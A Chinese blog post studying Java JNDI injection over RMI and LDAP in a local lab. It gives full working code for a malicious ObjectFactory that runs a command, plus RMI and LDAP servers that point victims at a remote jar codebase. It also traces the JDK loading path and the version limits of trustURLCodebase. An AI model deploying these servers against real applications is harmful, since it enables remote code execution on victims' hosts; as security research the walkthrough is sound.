Java JNDI注入(二)

前言:在笔记JNDI注入(一)中把ldap(jndi)的jdk8u 191之前的远程恶意加载类和rmi(jndi)的jdk9u113之前的远程恶意加载类都进行了介绍和复现之后

这篇来讲rmi(jndi)的jdk8u113之后和ldap(jndi)的jdk8u191之后的注入方式的原理

jndi注入之rmi

攻击者扮演Server端,受害者正常扮演Client端

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,在下面的分析中我们会谈及到为什么不会受到java.rmi.server.useCodebaseOnly的影响

ReferenceObjectFactory.java

public class ReferenceObjectFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("calc");
    }
}

RMIReferenceServerTest.java

攻击者首先给RMIServer绑定恶意对象工厂,Reference需要wrapper转换成可以绑定的对象。该而对象工厂需要提前编译为class文件

我这里在指定Reference的url参数的时候指定为远程地址中的一个jar包进行加载

public class RMIReferenceServerTest  {
    public static void main(String[] args) {
        try {
            // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
            String url = "http://127.0.0.1:81/CollectionsSerializable.jar";

            // 对象的工厂类名
            String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";

            // 监听RMI服务端口
            LocateRegistry.createRegistry(9527);

            // 创建一个远程的JNDI对象工厂类的引用对象
            Reference reference = new Reference(className, className, url);

            // 转换为RMI引用对象,
            // 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
            // 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            // 绑定一个恶意的Remote对象到RMI服务
            Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);

            System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

RMIReferenceClientTest.java

这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内

注:JDK 6u132,7u122,8u113 之后 com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false,限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性

如果是ldap+jndi的话我181则可以不用开启trustURLCodebase

注:JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

public class RMIReferenceClientTest{
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            InitialContext context = new InitialContext();
            // 获取RMI绑定的恶意ReferenceWrapper对象
            Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
            System.out.println(obj);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

context.lookup上面进行打断点,然后接下来开始单步分析

getURLOrDefaultInitCtx方法

getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context

接着继续来到lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文

接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称

接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是通过传输remoteCall来请求获取绑定在服务端注册中心上的reference对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub

获得了stub对象后,又开始进行decodeObject方法

这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法

就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance

先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回

这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance

最后调用了指定codebase的jar包中的指定的类名,我这里是给了调用栈,原因是我这里跟不到远程的jar包里面

最终F8一下,就执行了我们重写的getObjectInstance方法中的内容,上面我写的是执行calc,所以这里就弹出来计算器

jndi注入之ldap

使用ldap的话,这里除了Ldap服务端的启动代码不同,其他的都是一样的,直接放代码了,lookup的时候改成基于ldap的协议即可

LdapServer.java

public class LdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("172.20.10.5"),
                1199,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            String className = "com.zpchcbd.jndi.objectfactory.ldap.ReferenceObjectFactory";
            String url = "http://172.20.10.5:81/CollectionSerializeble.jar";

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", className);
            entry.addAttribute("javaFactory", className);
            entry.addAttribute("javaCodeBase", url);
            entry.addAttribute("objectClass", "javaNamingReference");

            try {
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

LdapClient.java

public class LdapClient {
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            InitialContext context = new InitialContext();

            // 获取RMI绑定的恶意ReferenceWrapper对象
            Object obj = context.lookup("ldap://172.20.10.5:1199/listen");
            System.out.println(obj);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

可以看到同样能够进行JNDI注入,如下图所示

一些小问题

可能你会发现在创建reference对象的时候,Reference reference = new Reference(className, className, url);那么不是满足url为空的话,不也同样能够实现jndi注入吗?而且还实现了绕过ref.getFactoryClassLocation()这个判断不是吗?

答案不是的,这里可能是你本地环境的原因,当没有加载远程工厂类的话,那么就能够加载到本地的类,而如果你放在同一个目录来进行测试的话,那么正常的话就是能加载到,只是放置的目录碰巧一样了,如果不是的话就加载不了了,自己可以进行测试下

这里就可以思考一个问题,那么我们不基于外部的环境,也就是getFactoryClassLocation方法返回的为null

那是不是本地环境是有实现了ObjectFactory的类,那是不是就可以进行利用了?是的,这个放在下一篇jndi中来描述

posted @ 2021-07-03 22:40  zpchcbd  阅读(835)  评论(0)    收藏  举报